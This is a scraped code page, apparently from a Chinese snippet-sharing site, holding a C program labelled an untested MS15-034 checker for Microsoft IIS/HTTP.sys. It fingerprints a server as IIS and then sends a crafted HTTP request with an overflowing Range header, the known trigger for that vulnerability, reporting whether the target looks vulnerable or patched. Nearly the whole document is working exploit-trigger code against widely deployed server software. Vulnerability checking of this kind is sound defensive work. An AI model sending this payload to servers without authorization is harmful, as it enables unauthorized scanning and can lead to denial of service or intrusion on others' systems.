扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
/* UNTESTED - MS15-034 Checker THE BUG: 8a8b2112 56pushesi 8a8b2113 6a00push0 8a8b2115 2bc7sub eax,edi 8a8b2117 6a01push1 8a8b2119 1bcasbb ecx,edx 8a8b211b 51pushecx 8a8b211c 50pusheax 8a8b211d e8bf69fbffcallHTTP!RtlULongLongAdd (8a868ae1) ; here ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4 BY: john.b.hale@gmai.com Twitter: @rhcp011235 */ #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <arpa/inet.h> int connect_to_server(char *ip) { int sockfd = 0, n = 0; struct sockaddr_in serv_addr; struct hostent *server; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n Error : Could not create socket \n"); return 1; } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(80); if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0) { printf("\n inet_pton error occured\n"); return 1; } if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { printf("\n Error : Connect Failed \n"); return 1; } return sockfd; } int main(int argc, char *argv[]) { int n = 0; int sockfd; char recvBuff[1024]; // Check server char request[] = "GET / HTTP/1.0\r\n\r\n"; // our evil buffer char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"; if(argc != 2) { printf("\n Usage: %s <ip of server> \n",argv[0]); return 1; } printf("[*] Audit Started\n"); sockfd = connect_to_server(argv[1]); write(sockfd, request, strlen(request)); read(sockfd, recvBuff, sizeof(recvBuff)-1); if (!strstr(recvBuff,"Microsoft")) { printf("[*] NOT IIS\n"); exit(1); } sockfd = connect_to_server(argv[1]); write(sockfd, request1, strlen(request1)); read(sockfd, recvBuff, sizeof(recvBuff)-1); if (strstr(recvBuff,"Requested Range Not Satisfiable")) { printf("[!!] Looks VULN\n"); exit(1); } else if(strstr(recvBuff,"The request has an invalid header name")) { printf("[*] Looks Patched"); } else printf("[*] Unexpected response, cannot discern patch status"); } |
体验盒子
